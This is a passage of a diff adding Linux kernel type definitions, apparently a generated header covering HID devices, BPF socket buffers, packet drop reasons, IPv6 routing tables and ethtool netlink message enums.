hid_device *, struct hid_report *); + short unsigned int debug; + struct dentry *debug_dir; + struct dentry *debug_rdesc; + struct dentry *debug_events; + struct list_head debug_list; + spinlock_t debug_list_lock; + wait_queue_head_t debug_wait; + unsigned int id; + struct hid_bpf bpf; +}; + +enum hid_bpf_prog_type { + HID_BPF_PROG_TYPE_UNDEF = -1, + HID_BPF_PROG_TYPE_DEVICE_EVENT = 0, + HID_BPF_PROG_TYPE_RDESC_FIXUP = 1, + HID_BPF_PROG_TYPE_MAX = 2, +}; + +struct hid_bpf_ops { + struct hid_report * (*hid_get_report)(struct hid_report_enum *, const u8 *); + int (*hid_hw_raw_request)(struct hid_device *, unsigned char, __u8 *, size_t, enum hid_report_type, enum hid_class_request); + struct module *owner; + struct bus_type *bus_type; +}; + +struct hid_field_entry; + +struct hid_report { + struct list_head list; + struct list_head hidinput_list; + struct list_head field_entry_list; + unsigned int id; + enum hid_report_type type; + unsigned int application; + struct hid_field *field[256]; + struct hid_field_entry *field_entries; + unsigned int maxfield; + unsigned int size; + struct hid_device *device; + bool tool_active; + unsigned int tool; +}; + +struct hid_bpf_prog_list { + u16 prog_idx[64]; + u8 prog_cnt; +}; + +struct hid_collection { + int parent_idx; + unsigned int type; + unsigned int usage; + unsigned int level; +}; + +struct hid_usage { + unsigned int hid; + unsigned int collection_index; + unsigned int usage_index; + __s8 resolution_multiplier; + __s8 wheel_factor; + __u16 code; + __u8 type; + __s8 hat_min; + __s8 hat_max; + __s8 hat_dir; + __s16 wheel_accumulated; +}; + +struct hid_input; + +struct hid_field { + unsigned int physical; + unsigned int logical; + unsigned int application; + struct hid_usage *usage; + unsigned int maxusage; + unsigned int flags; + unsigned int report_offset; + unsigned int report_size; + unsigned int report_count; + unsigned int report_type; + __s32 *value; + __s32 *new_value; + __s32 *usages_priorities; + __s32 logical_minimum; + __s32 logical_maximum; + __s32 physical_minimum; + __s32 physical_maximum; + __s32 unit_exponent; + unsigned int unit; + bool ignored; + struct hid_report *report; + unsigned int index; + struct hid_input *hidinput; + __u16 dpad; + unsigned int slot_idx; +}; + +struct hid_input { + struct list_head list; + struct hid_report *report; + struct input_dev *input; + const char *name; + bool registered; + struct list_head reports; + unsigned int application; +}; + +struct hid_field_entry { + struct list_head list; + struct hid_field *field; + unsigned int index; + __s32 priority; +}; + +struct hid_report_id; + +struct hid_usage_id; + +struct hid_driver { + char *name; + const struct hid_device_id *id_table; + struct list_head dyn_list; + spinlock_t dyn_lock; + bool (*match)(struct hid_device *, bool); + int (*probe)(struct hid_device *, const struct hid_device_id *); + void (*remove)(struct hid_device *); + const struct hid_report_id *report_table; + int (*raw_event)(struct hid_device *, struct hid_report *, u8 *, int); + const struct hid_usage_id *usage_table; + int (*event)(struct hid_device *, struct hid_field *, struct hid_usage *, __s32); + void (*report)(struct hid_device *, struct hid_report *); + __u8 * (*report_fixup)(struct hid_device *, __u8 *, unsigned int *); + int (*input_mapping)(struct hid_device *, struct hid_input *, struct hid_field *, struct hid_usage *, long unsigned int **, int *); + int (*input_mapped)(struct hid_device *, struct hid_input *, struct hid_field *, struct hid_usage *, long unsigned int **, int *); + int (*input_configured)(struct hid_device *, struct hid_input *); + void (*feature_mapping)(struct hid_device *, struct hid_field *, struct hid_usage *); + int (*suspend)(struct hid_device *, pm_message_t); + int (*resume)(struct hid_device *); + int (*reset_resume)(struct hid_device *); + struct device_driver driver; +}; + +struct hid_ll_driver { + int (*start)(struct hid_device *); + void (*stop)(struct hid_device *); + int (*open)(struct hid_device *); + void (*close)(struct hid_device *); + int (*power)(struct hid_device *, int); + int (*parse)(struct hid_device *); + void (*request)(struct hid_device *, struct hid_report *, int); + int (*wait)(struct hid_device *); + int (*raw_request)(struct hid_device *, unsigned char, __u8 *, size_t, unsigned char, int); + int (*output_report)(struct hid_device *, __u8 *, size_t); + int (*idle)(struct hid_device *, int, int, int); + bool (*may_wakeup)(struct hid_device *); + unsigned int max_buffer_size; +}; + +struct hid_report_id { + __u32 report_type; +}; + +struct hid_usage_id { + __u32 usage_hid; + __u32 usage_type; + __u32 usage_code; +}; + +struct bpf_flow_keys { + __u16 nhoff; + __u16 thoff; + __u16 addr_proto; + __u8 is_frag; + __u8 is_first_frag; + __u8 is_encap; + __u8 ip_proto; + __be16 n_proto; + __be16 sport; + __be16 dport; + union { + struct { + __be32 ipv4_src; + __be32 ipv4_dst; + }; + struct { + __u32 ipv6_src[4]; + __u32 ipv6_dst[4]; + }; + }; + __u32 flags; + __be32 flow_label; +}; + +enum skb_drop_reason { + SKB_NOT_DROPPED_YET = 0, + SKB_CONSUMED = 1, + SKB_DROP_REASON_NOT_SPECIFIED = 2, + SKB_DROP_REASON_NO_SOCKET = 3, + SKB_DROP_REASON_PKT_TOO_SMALL = 4, + SKB_DROP_REASON_TCP_CSUM = 5, + SKB_DROP_REASON_SOCKET_FILTER = 6, + SKB_DROP_REASON_UDP_CSUM = 7, + SKB_DROP_REASON_NETFILTER_DROP = 8, + SKB_DROP_REASON_OTHERHOST = 9, + SKB_DROP_REASON_IP_CSUM = 10, + SKB_DROP_REASON_IP_INHDR = 11, + SKB_DROP_REASON_IP_RPFILTER = 12, + SKB_DROP_REASON_UNICAST_IN_L2_MULTICAST = 13, + SKB_DROP_REASON_XFRM_POLICY = 14, + SKB_DROP_REASON_IP_NOPROTO = 15, + SKB_DROP_REASON_SOCKET_RCVBUFF = 16, + SKB_DROP_REASON_PROTO_MEM = 17, + SKB_DROP_REASON_TCP_MD5NOTFOUND = 18, + SKB_DROP_REASON_TCP_MD5UNEXPECTED = 19, + SKB_DROP_REASON_TCP_MD5FAILURE = 20, + SKB_DROP_REASON_SOCKET_BACKLOG = 21, + SKB_DROP_REASON_TCP_FLAGS = 22, + SKB_DROP_REASON_TCP_ZEROWINDOW = 23, + SKB_DROP_REASON_TCP_OLD_DATA = 24, + SKB_DROP_REASON_TCP_OVERWINDOW = 25, + SKB_DROP_REASON_TCP_OFOMERGE = 26, + SKB_DROP_REASON_TCP_RFC7323_PAWS = 27, + SKB_DROP_REASON_TCP_INVALID_SEQUENCE = 28, + SKB_DROP_REASON_TCP_RESET = 29, + SKB_DROP_REASON_TCP_INVALID_SYN = 30, + SKB_DROP_REASON_TCP_CLOSE = 31, + SKB_DROP_REASON_TCP_FASTOPEN = 32, + SKB_DROP_REASON_TCP_OLD_ACK = 33, + SKB_DROP_REASON_TCP_TOO_OLD_ACK = 34, + SKB_DROP_REASON_TCP_ACK_UNSENT_DATA = 35, + SKB_DROP_REASON_TCP_OFO_QUEUE_PRUNE = 36, + SKB_DROP_REASON_TCP_OFO_DROP = 37, + SKB_DROP_REASON_IP_OUTNOROUTES = 38, + SKB_DROP_REASON_BPF_CGROUP_EGRESS = 39, + SKB_DROP_REASON_IPV6DISABLED = 40, + SKB_DROP_REASON_NEIGH_CREATEFAIL = 41, + SKB_DROP_REASON_NEIGH_FAILED = 42, + SKB_DROP_REASON_NEIGH_QUEUEFULL = 43, + SKB_DROP_REASON_NEIGH_DEAD = 44, + SKB_DROP_REASON_TC_EGRESS = 45, + SKB_DROP_REASON_QDISC_DROP = 46, + SKB_DROP_REASON_CPU_BACKLOG = 47, + SKB_DROP_REASON_XDP = 48, + SKB_DROP_REASON_TC_INGRESS = 49, + SKB_DROP_REASON_UNHANDLED_PROTO = 50, + SKB_DROP_REASON_SKB_CSUM = 51, + SKB_DROP_REASON_SKB_GSO_SEG = 52, + SKB_DROP_REASON_SKB_UCOPY_FAULT = 53, + SKB_DROP_REASON_DEV_HDR = 54, + SKB_DROP_REASON_DEV_READY = 55, + SKB_DROP_REASON_FULL_RING = 56, + SKB_DROP_REASON_NOMEM = 57, + SKB_DROP_REASON_HDR_TRUNC = 58, + SKB_DROP_REASON_TAP_FILTER = 59, + SKB_DROP_REASON_TAP_TXFILTER = 60, + SKB_DROP_REASON_ICMP_CSUM = 61, + SKB_DROP_REASON_INVALID_PROTO = 62, + SKB_DROP_REASON_IP_INADDRERRORS = 63, + SKB_DROP_REASON_IP_INNOROUTES = 64, + SKB_DROP_REASON_PKT_TOO_BIG = 65, + SKB_DROP_REASON_DUP_FRAG = 66, + SKB_DROP_REASON_FRAG_REASM_TIMEOUT = 67, + SKB_DROP_REASON_FRAG_TOO_FAR = 68, + SKB_DROP_REASON_TCP_MINTTL = 69, + SKB_DROP_REASON_IPV6_BAD_EXTHDR = 70, + SKB_DROP_REASON_IPV6_NDISC_FRAG = 71, + SKB_DROP_REASON_IPV6_NDISC_HOP_LIMIT = 72, + SKB_DROP_REASON_IPV6_NDISC_BAD_CODE = 73, + SKB_DROP_REASON_IPV6_NDISC_BAD_OPTIONS = 74, + SKB_DROP_REASON_IPV6_NDISC_NS_OTHERHOST = 75, + SKB_DROP_REASON_MAX = 76, + SKB_DROP_REASON_SUBSYS_MASK = 4294901760, +}; + +enum { + IPPROTO_IP = 0, + IPPROTO_ICMP = 1, + IPPROTO_IGMP = 2, + IPPROTO_IPIP = 4, + IPPROTO_TCP = 6, + IPPROTO_EGP = 8, + IPPROTO_PUP = 12, + IPPROTO_UDP = 17, + IPPROTO_IDP = 22, + IPPROTO_TP = 29, + IPPROTO_DCCP = 33, + IPPROTO_IPV6 = 41, + IPPROTO_RSVP = 46, + IPPROTO_GRE = 47, + IPPROTO_ESP = 50, + IPPROTO_AH = 51, + IPPROTO_MTP = 92, + IPPROTO_BEETPH = 94, + IPPROTO_ENCAP = 98, + IPPROTO_PIM = 103, + IPPROTO_COMP = 108, + IPPROTO_L2TP = 115, + IPPROTO_SCTP = 132, + IPPROTO_UDPLITE = 136, + IPPROTO_MPLS = 137, + IPPROTO_ETHERNET = 143, + IPPROTO_RAW = 255, + IPPROTO_MPTCP = 262, + IPPROTO_MAX = 263, +}; + +struct sock_reuseport { + struct callback_head rcu; + u16 max_socks; + u16 num_socks; + u16 num_closed_socks; + u16 incoming_cpu; + unsigned int synq_overflow_ts; + unsigned int reuseport_id; + unsigned int bind_inany: 1; + unsigned int has_conns: 1; + struct bpf_prog *prog; + struct sock *socks[0]; +}; + +struct bpf_sock { + __u32 bound_dev_if; + __u32 family; + __u32 type; + __u32 protocol; + __u32 mark; + __u32 priority; + __u32 src_ip4; + __u32 src_ip6[4]; + __u32 src_port; + __be16 dst_port; + __u32 dst_ip4; + __u32 dst_ip6[4]; + __u32 state; + __s32 rx_queue_mapping; +}; + +struct __sk_buff { + __u32 len; + __u32 pkt_type; + __u32 mark; + __u32 queue_mapping; + __u32 protocol; + __u32 vlan_present; + __u32 vlan_tci; + __u32 vlan_proto; + __u32 priority; + __u32 ingress_ifindex; + __u32 ifindex; + __u32 tc_index; + __u32 cb[5]; + __u32 hash; + __u32 tc_classid; + __u32 data; + __u32 data_end; + __u32 napi_id; + __u32 family; + __u32 remote_ip4; + __u32 local_ip4; + __u32 remote_ip6[4]; + __u32 local_ip6[4]; + __u32 remote_port; + __u32 local_port; + __u32 data_meta; + union { + struct bpf_flow_keys *flow_keys; + }; + __u64 tstamp; + __u32 wire_len; + __u32 gso_segs; + union { + struct bpf_sock *sk; + }; + __u32 gso_size; + __u8 tstamp_type; + __u64 hwtstamp; +}; + +struct qdisc_skb_cb { + struct { + unsigned int pkt_len; + u16 slave_dev_queue_mapping; + u16 tc_classid; + }; + unsigned char data[20]; +}; + +struct rt6key { + struct in6_addr addr; + int plen; +}; + +struct rtable; + +struct fnhe_hash_bucket; + +struct fib_nh_common { + struct net_device *nhc_dev; + netdevice_tracker nhc_dev_tracker; + int nhc_oif; + unsigned char nhc_scope; + u8 nhc_family; + u8 nhc_gw_family; + unsigned char nhc_flags; + struct lwtunnel_state *nhc_lwtstate; + union { + __be32 ipv4; + struct in6_addr ipv6; + } nhc_gw; + int nhc_weight; + atomic_t nhc_upper_bound; + struct rtable **nhc_pcpu_rth_output; + struct rtable *nhc_rth_input; + struct fnhe_hash_bucket *nhc_exceptions; +}; + +struct rt6_exception_bucket; + +struct fib6_nh { + struct fib_nh_common nh_common; + long unsigned int last_probe; + struct rt6_info **rt6i_pcpu; + struct rt6_exception_bucket *rt6i_exception_bucket; +}; + +struct fib6_node; + +struct nexthop; + +struct fib6_info { + struct fib6_table *fib6_table; + struct fib6_info *fib6_next; + struct fib6_node *fib6_node; + union { + struct list_head fib6_siblings; + struct list_head nh_list; + }; + unsigned int fib6_nsiblings; + refcount_t fib6_ref; + long unsigned int expires; + struct dst_metrics *fib6_metrics; + struct rt6key fib6_dst; + u32 fib6_flags; + struct rt6key fib6_src; + struct rt6key fib6_prefsrc; + u32 fib6_metric; + u8 fib6_protocol; + u8 fib6_type; + u8 offload; + u8 trap; + u8 offload_failed; + u8 should_flush: 1; + u8 dst_nocount: 1; + u8 dst_nopolicy: 1; + u8 fib6_destroying: 1; + u8 unused: 4; + struct callback_head rcu; + struct nexthop *nh; + struct fib6_nh fib6_nh[0]; +}; + +struct rt6_info { + struct dst_entry dst; + struct fib6_info *from; + int sernum; + struct rt6key rt6i_dst; + struct rt6key rt6i_src; + struct in6_addr rt6i_gateway; + struct inet6_dev *rt6i_idev; + u32 rt6i_flags; + short unsigned int rt6i_nfheader_len; +}; + +struct rt6_statistics { + __u32 fib_nodes; + __u32 fib_route_nodes; + __u32 fib_rt_entries; + __u32 fib_rt_cache; + __u32 fib_discarded_routes; + atomic_t fib_rt_alloc; +}; + +struct fib6_node { + struct fib6_node *parent; + struct fib6_node *left; + struct fib6_node *right; + struct fib6_node *subtree; + struct fib6_info *leaf; + __u16 fn_bit; + __u16 fn_flags; + int fn_sernum; + struct fib6_info *rr_ptr; + struct callback_head rcu; +}; + +struct fib6_table { + struct hlist_node tb6_hlist; + u32 tb6_id; + spinlock_t tb6_lock; + struct fib6_node tb6_root; + struct inet_peer_base tb6_peers; + unsigned int flags; + unsigned int fib_seq; +}; + +typedef struct bio_vec skb_frag_t; + +struct skb_shared_info { + __u8 flags; + __u8 meta_len; + __u8 nr_frags; + __u8 tx_flags; + short unsigned int gso_size; + short unsigned int gso_segs; + struct sk_buff *frag_list; + struct skb_shared_hwtstamps hwtstamps; + unsigned int gso_type; + u32 tskey; + atomic_t dataref; + unsigned int xdp_frags_size; + void *destructor_arg; + skb_frag_t frags[17]; +}; + +struct vlan_hdr { + __be16 h_vlan_TCI; + __be16 h_vlan_encapsulated_proto; +}; + +struct qdisc_walker { + int stop; + int skip; + int count; + int (*fn)(struct Qdisc *, long unsigned int, struct qdisc_walker *); +}; + +struct tc_skb_cb { + struct qdisc_skb_cb qdisc_cb; + u16 mru; + u8 post_ct: 1; + u8 post_ct_snat: 1; + u8 post_ct_dnat: 1; + u16 zone; +}; + +struct ip_options { + __be32 faddr; + __be32 nexthop; + unsigned char optlen; + unsigned char srr; + unsigned char rr; + unsigned char ts; + unsigned char is_strictroute: 1; + unsigned char srr_is_hit: 1; + unsigned char is_changed: 1; + unsigned char rr_needaddr: 1; + unsigned char ts_needtime: 1; + unsigned char ts_needaddr: 1; + unsigned char router_alert; + unsigned char cipso; + unsigned char __pad2; + unsigned char __data[0]; +}; + +struct inet6_skb_parm { + int iif; + __be16 ra; + __u16 dst0; + __u16 srcrt; + __u16 dst1; + __u16 lastopt; + __u16 nhoff; + __u16 flags; + __u16 dsthao; + __u16 frag_max_size; + __u16 srhoff; +}; + +struct fib_nh_exception { + struct fib_nh_exception *fnhe_next; + int fnhe_genid; + __be32 fnhe_daddr; + u32 fnhe_pmtu; + bool fnhe_mtu_locked; + __be32 fnhe_gw; + long unsigned int fnhe_expires; + struct rtable *fnhe_rth_input; + struct rtable *fnhe_rth_output; + long unsigned int fnhe_stamp; + struct callback_head rcu; +}; + +struct rtable { + struct dst_entry dst; + int rt_genid; + unsigned int rt_flags; + __u16 rt_type; + __u8 rt_is_input; + __u8 rt_uses_gateway; + int rt_iif; + u8 rt_gw_family; + union { + __be32 rt_gw4; + struct in6_addr rt_gw6; + }; + u32 rt_mtu_locked: 1; + u32 rt_pmtu: 31; +}; + +struct fnhe_hash_bucket { + struct fib_nh_exception *chain; +}; + +struct fib6_config { + u32 fc_table; + u32 fc_metric; + int fc_dst_len; + int fc_src_len; + int fc_ifindex; + u32 fc_flags; + u32 fc_protocol; + u16 fc_type; + u16 fc_delete_all_nh: 1; + u16 fc_ignore_dev_down: 1; + u16 __unused: 14; + u32 fc_nh_id; + struct in6_addr fc_dst; + struct in6_addr fc_src; + struct in6_addr fc_prefsrc; + struct in6_addr fc_gateway; + long unsigned int fc_expires; + struct nlattr *fc_mx; + int fc_mx_len; + int fc_mp_len; + struct nlattr *fc_mp; + struct nl_info fc_nlinfo; + struct nlattr *fc_encap; + u16 fc_encap_type; + bool fc_is_fdb; +}; + +struct inet_skb_parm { + int iif; + struct ip_options opt; + u16 flags; + u16 frag_max_size; +}; + +struct rt6_exception_bucket { + struct hlist_head chain; + int depth; +}; + +struct sch_frag_data { + long unsigned int dst; + struct qdisc_skb_cb cb; + __be16 inner_protocol; + u16 vlan_tci; + __be16 vlan_proto; + unsigned int l2_len; + u8 l2_data[18]; + int (*xmit)(struct sk_buff *); +}; + +enum tunable_id { + ETHTOOL_ID_UNSPEC = 0, + ETHTOOL_RX_COPYBREAK = 1, + ETHTOOL_TX_COPYBREAK = 2, + ETHTOOL_PFC_PREVENTION_TOUT = 3, + ETHTOOL_TX_COPYBREAK_BUF_SIZE = 4, + __ETHTOOL_TUNABLE_COUNT = 5, +}; + +enum phy_tunable_id { + ETHTOOL_PHY_ID_UNSPEC = 0, + ETHTOOL_PHY_DOWNSHIFT = 1, + ETHTOOL_PHY_FAST_LINK_DOWN = 2, + ETHTOOL_PHY_EDPD = 3, + __ETHTOOL_PHY_TUNABLE_COUNT = 4, +}; + +enum { + ETH_RSS_HASH_TOP_BIT = 0, + ETH_RSS_HASH_XOR_BIT = 1, + ETH_RSS_HASH_CRC32_BIT = 2, + ETH_RSS_HASH_FUNCS_COUNT = 3, +}; + +enum ethtool_supported_ring_param { + ETHTOOL_RING_USE_RX_BUF_LEN = 1, + ETHTOOL_RING_USE_CQE_SIZE = 2, + ETHTOOL_RING_USE_TX_PUSH = 4, + ETHTOOL_RING_USE_RX_PUSH = 8, + ETHTOOL_RING_USE_TX_PUSH_BUF_LEN = 16, +}; + +struct ethtool_phy_ops { + int (*get_sset_count)(struct phy_device *); + int (*get_strings)(struct phy_device *, u8 *); + int (*get_stats)(struct phy_device *, struct ethtool_stats *, u64 *); + int (*get_plca_cfg)(struct phy_device *, struct phy_plca_cfg *); + int (*set_plca_cfg)(struct phy_device *, const struct phy_plca_cfg *, struct netlink_ext_ack *); + int (*get_plca_status)(struct phy_device *, struct phy_plca_status *); + int (*start_cable_test)(struct phy_device *, struct netlink_ext_ack *); + int (*start_cable_test_tdr)(struct phy_device *, struct netlink_ext_ack *, const struct phy_tdr_config *); +}; + +enum { + ETHTOOL_MSG_USER_NONE = 0, + ETHTOOL_MSG_STRSET_GET = 1, + ETHTOOL_MSG_LINKINFO_GET = 2, + ETHTOOL_MSG_LINKINFO_SET = 3, + ETHTOOL_MSG_LINKMODES_GET = 4, + ETHTOOL_MSG_LINKMODES_SET = 5, + ETHTOOL_MSG_LINKSTATE_GET = 6, + ETHTOOL_MSG_DEBUG_GET = 7, + ETHTOOL_MSG_DEBUG_SET = 8, + ETHTOOL_MSG_WOL_GET = 9, + ETHTOOL_MSG_WOL_SET = 10, + ETHTOOL_MSG_FEATURES_GET = 11, + ETHTOOL_MSG_FEATURES_SET = 12, + ETHTOOL_MSG_PRIVFLAGS_GET = 13, + ETHTOOL_MSG_PRIVFLAGS_SET = 14, + ETHTOOL_MSG_RINGS_GET = 15, + ETHTOOL_MSG_RINGS_SET = 16, + ETHTOOL_MSG_CHANNELS_GET = 17, + ETHTOOL_MSG_CHANNELS_SET = 18, + ETHTOOL_MSG_COALESCE_GET = 19, + ETHTOOL_MSG_COALESCE_SET = 20, + ETHTOOL_MSG_PAUSE_GET = 21, + ETHTOOL_MSG_PAUSE_SET = 22, + ETHTOOL_MSG_EEE_GET = 23, + ETHTOOL_MSG_EEE_SET = 24, + ETHTOOL_MSG_TSINFO_GET = 25, + ETHTOOL_MSG_CABLE_TEST_ACT = 26, + ETHTOOL_MSG_CABLE_TEST_TDR_ACT = 27, + ETHTOOL_MSG_TUNNEL_INFO_GET = 28, + ETHTOOL_MSG_FEC_GET = 29, + ETHTOOL_MSG_FEC_SET = 30, + ETHTOOL_MSG_MODULE_EEPROM_GET = 31, + ETHTOOL_MSG_STATS_GET = 32, + ETHTOOL_MSG_PHC_VCLOCKS_GET = 33, + ETHTOOL_MSG_MODULE_GET = 34, + ETHTOOL_MSG_MODULE_SET = 35, + ETHTOOL_MSG_PSE_GET = 36, + ETHTOOL_MSG_PSE_SET = 37, + ETHTOOL_MSG_RSS_GET = 38, + ETHTOOL_MSG_PLCA_GET_CFG = 39, + ETHTOOL_MSG_PLCA_SET_CFG = 40, + ETHTOOL_MSG_PLCA_GET_STATUS = 41, + ETHTOOL_MSG_MM_GET = 42, + ETHTOOL_MSG_MM_SET = 43, + __ETHTOOL_MSG_USER_CNT = 44, + ETHTOOL_MSG_USER_MAX = 43, +}; + +enum { + ETHTOOL_MSG_KERNEL_NONE = 0, + ETHTOOL_MSG_STRSET_GET_REPLY = 1, + ETHTOOL_MSG_LINKINFO_GET_REPLY = 2, + ETHTOOL_MSG_LINKINFO_NTF = 3, + ETHTOOL_MSG_LINKMODES_GET_REPLY = 4, + ETHTOOL_MSG_LINKMODES_NTF = 5, + ETHTOOL_MSG_LINKSTATE_GET_REPLY = 6, + ETHTOOL_MSG_DEBUG_GET_REPLY = 7, + ETHTOOL_MSG_DEBUG_NTF = 8, + ETHTOOL_MSG_WOL_GET_REPLY = 9, + ETHTOOL_MSG_WOL_NTF = 10, + ETHTOOL_MSG_FEATURES_GET_REPLY = 11, + ETHTOOL_MSG_FEATURES_SET_REPLY = 12, + ETHTOOL_MSG_FEATURES_NTF = 13, + ETHTOOL_MSG_PRIVFLAGS_GET_REPLY = 14, + ETHTOOL_MSG_PRIVFLAGS_NTF = 15, + ETHTOOL_MSG_RINGS_GET_REPLY = 16, + ETHTOOL_MSG_RINGS_NTF = 17, + ETHTOOL_MSG_CHANNELS_GET_REPLY = 18, + ETHTOOL_MSG_CHANNELS_NTF = 19, + ETHTOOL_MSG_COALESCE_GET_REPLY = 20, + ETHTOOL_MSG_COALESCE_NTF = 21, + ETHTOOL_MSG_PAUSE_GET_REPLY = 22, + ETHTOOL_MSG_PAUSE_NTF = 23, + ETHTOOL_MSG_EEE_GET_REPLY = 24, + ETHTOOL_MSG_EEE_NTF = 25, + ETHTOOL_MSG_TSINFO_GET_REPLY = 26, + ETHTOOL_MSG_CABLE_TEST_NTF = 27, + ETHTOOL_MSG_CABLE_TEST_TDR_NTF = 28, + ETHTOOL_MSG_TUNNEL_INFO_GET_REPLY = 29, + ETHTOOL_MSG_FEC_GET_REPLY = 30, + ETHTOOL_MSG_FEC_NTF = 31, + ETHTOOL_MSG_MODULE_EEPROM_GET_REPLY = 32, + ETHTOOL_MSG_STATS_GET_REPLY = 33, + ETHTOOL_MSG_PHC_VCLOCKS_GET_REPLY = 34, + ETHTOOL_MSG_MODULE_GET_REPLY = 35, + ETHTOOL_MSG_MODULE_NTF = 36, + ETHTOOL_MSG_PSE_GET_REPLY = 37, + ETHTOOL_MSG_RSS_GET_REPLY = 38, + ETHTOOL_MSG_PLCA_GET_CFG_REPLY = 39, + ETHTOOL_MSG_PLCA_GET_STATUS_REPLY = 40, + ETHTOOL_MSG_PLCA_NTF = 41, + ETHTOOL_MSG_MM_GET_REPLY = 42, + ETHTOOL_MSG_MM_NTF = 43, + __ETHTOOL_MSG_KERNEL_CNT = 44, + ETHTOOL_MSG_KERNEL_MAX = 43, +}; + +enum { + ETHTOOL_A_HEADER_UNSPEC = 0, + ETHTOOL_A_HEADER_DEV_INDEX = 1, + ETHTOOL_A_HEADER_DEV_NAME = 2, + ETHTOOL_A_HEADER_FLAGS = 3, + __ETHTOOL_A_HEADER_CNT = 4, + ETHTOOL_A_HEADER_MAX = 3, +}; + +enum { + ETHTOOL_A_STRSET_UNSPEC = 0, + ETHTOOL_A_STRSET_HEADER = 1, + ETHTOOL_A_STRSET_STRINGSETS = 2, + ETHTOOL_A_STRSET_COUNTS_ONLY = 3, + __ETHTOOL_A_STRSET_CNT = 4, + ETHTOOL_A_STRSET_MAX = 3, +}; + +enum { + ETHTOOL_A_LINKINFO_UNSPEC = 0, + ETHTOOL_A_LINKINFO_HEADER = 1, + ETHTOOL_A_LINKINFO_PORT = 2, + ETHTOOL_A_LINKINFO_PHYADDR = 3, + ETHTOOL_A_LINKINFO_TP_MDIX = 4, + ETHTOOL_A_LINKINFO_TP_MDIX_CTRL = 5, + ETHTOOL_A_LINKINFO_TRANSCEIVER = 6, + __ETHTOOL_A_LINKINFO_CNT = 7, + ETHTOOL_A_LINKINFO_MAX = 6, +}; + +enum { + ETHTOOL_A_LINKMODES_UNSPEC = 0, + ETHTOOL_A_LINKMODES_HEADER = 1, + ETHTOOL_A_LINKMODES_AUTONEG = 2, + ETHTOOL_A_LINKMODES_OURS = 3, + ETHTOOL_A_LINKMODES_PEER = 4, + ETHTOOL_A_LINKMODES_SPEED = 5, + ETHTOOL_A_LINKMODES_DUPLEX = 6, + ETHTOOL_A_LINKMODES_MASTER_SLAVE_CFG = 7, + ETHTOOL_A_LINKMODES_MASTER_SLAVE_STATE = 8, + ETHTOOL_A_LINKMODES_LANES = 9, + ETHTOOL_A_LINKMODES_RATE_MATCHING = 10, + __ETHTOOL_A_LINKMODES_CNT = 11, + ETHTOOL_A_LINKMODES_MAX = 10, +}; + +enum { + ETHTOOL_A_LINKSTATE_UNSPEC = 0, + ETHTOOL_A_LINKSTATE_HEADER = 1, + ETHTOOL_A_LINKSTATE_LINK = 2, + ETHTOOL_A_LINKSTATE_SQI = 3, + ETHTOOL_A_LINKSTATE_SQI_MAX = 4, + ETHTOOL_A_LINKSTATE_EXT_STATE = 5, + ETHTOOL_A_LINKSTATE_EXT_SUBSTATE = 6, + ETHTOOL_A_LINKSTATE_EXT_DOWN_CNT = 7, + __ETHTOOL_A_LINKSTATE_CNT = 8, + ETHTOOL_A_LINKSTATE_MAX = 7, +}; + +enum { + ETHTOOL_A_DEBUG_UNSPEC = 0, + ETHTOOL_A_DEBUG_HEADER = 1, + ETHTOOL_A_DEBUG_MSGMASK = 2, + __ETHTOOL_A_DEBUG_CNT = 3, + ETHTOOL_A_DEBUG_MAX = 2, +}; + +enum { + ETHTOOL_A_WOL_UNSPEC = 0, + ETHTOOL_A_WOL_HEADER = 1, + ETHTOOL_A_WOL_MODES = 2, + ETHTOOL_A_WOL_SOPASS = 3, + __ETHTOOL_A_WOL_CNT = 4, + ETHTOOL_A_WOL_MAX = 3, +}; + +enum { + ETHTOOL_A_FEATURES_UNSPEC = 0, + ETHTOOL_A_FEATURES_HEADER = 1, + ETHTOOL_A_FEATURES_HW = 2, + ETHTOOL_A_FEATURES_WANTED = 3, + ETHTOOL_A_FEATURES_ACTIVE = 4, + ETHTOOL_A_FEATURES_NOCHANGE = 5, + __ETHTOOL_A_FEATURES_CNT = 6, + ETHTOOL_A_FEATURES_MAX = 5, +}; + +enum { + ETHTOOL_A_PRIVFLAGS_UNSPEC = 0, + ETHTOOL_A_PRIVFLAGS_HEADER = 1, + ETHTOOL_A_PRIVFLAGS_FLAGS = 2, + __ETHTOOL_A_PRIVFLAGS_CNT = 3, + ETHTOOL_A_PRIVFLAGS_MAX = 2, +}; + +enum { + ETHTOOL_TCP_DATA_SPLIT_UNKNOWN = 0, + ETHTOOL_TCP_DATA_SPLIT_DISABLED = 1, + ETHTOOL_TCP_DATA_SPLIT_ENABLED = 2, +}; + +enum { + ETHTOOL_A_RINGS_UNSPEC = 0, + ETHTOOL_A_RINGS_HEADER = 1, + ETHTOOL_A_RINGS_RX_MAX = 2, + ETHTOOL_A_RINGS_RX_MINI_MAX = 3, + ETHTOOL_A_RINGS_RX_JUMBO_MAX = 4, + ETHTOOL_A_RINGS_TX_MAX = 5, + ETHTOOL_A_RINGS_RX = 6, + ETHTOOL_A_RINGS_RX_MINI = 7, + ETHTOOL_A_RINGS_RX_JUMBO = 8, + ETHTOOL_A_RINGS_TX = 9, + ETHTOOL_A_RINGS_RX_BUF_LEN = 10, + ETHTOOL_A_RINGS_TCP_DATA_SPLIT = 11, + ETHTOOL_A_RINGS_CQE_SIZE = 12, + ETHTOOL_A_RINGS_TX_PUSH = 13, + ETHTOOL_A_RINGS_RX_PUSH = 14, + ETHTOOL_A_RINGS_TX_PUSH_BUF_LEN = 15, + ETHTOOL_A_RINGS_TX_PUSH_BUF_LEN_MAX = 16, + __ETHTOOL_A_RINGS_CNT = 17, + ETHTOOL_A_RINGS_MAX = 16, +}; + +enum { + ETHTOOL_A_CHANNELS_UNSPEC = 0, + ETHTOOL_A_CHANNELS_HEADER = 1, + ETHTOOL_A_CHANNELS_RX_MAX = 2, + ETHTOOL_A_CHANNELS_TX_MAX = 3, + ETHTOOL_A_CHANNELS_OTHER_MAX = 4, + ETHTOOL_A_CHANNELS_COMBINED_MAX = 5, + ETHTOOL_A_CHANNELS_RX_COUNT = 6, + ETHTOOL_A_CHANNELS_TX_COUNT = 7, + ETHTOOL_A_CHANNELS_OTHER_COUNT = 8, + ETHTOOL_A_CHANNELS_COMBINED_COUNT = 9, + __ETHTOOL_A_CHANNELS_CNT = 10, + ETHTOOL_A_CHANNELS_MAX = 9, +}; + +enum { + ETHTOOL_A_COALESCE_UNSPEC = 0, + ETHTOOL_A_COALESCE_HEADER = 1, + ETHTOOL_A_COALESCE_RX_USECS = 2, + ETHTOOL_A_COALESCE_RX_MAX_FRAMES = 3, + 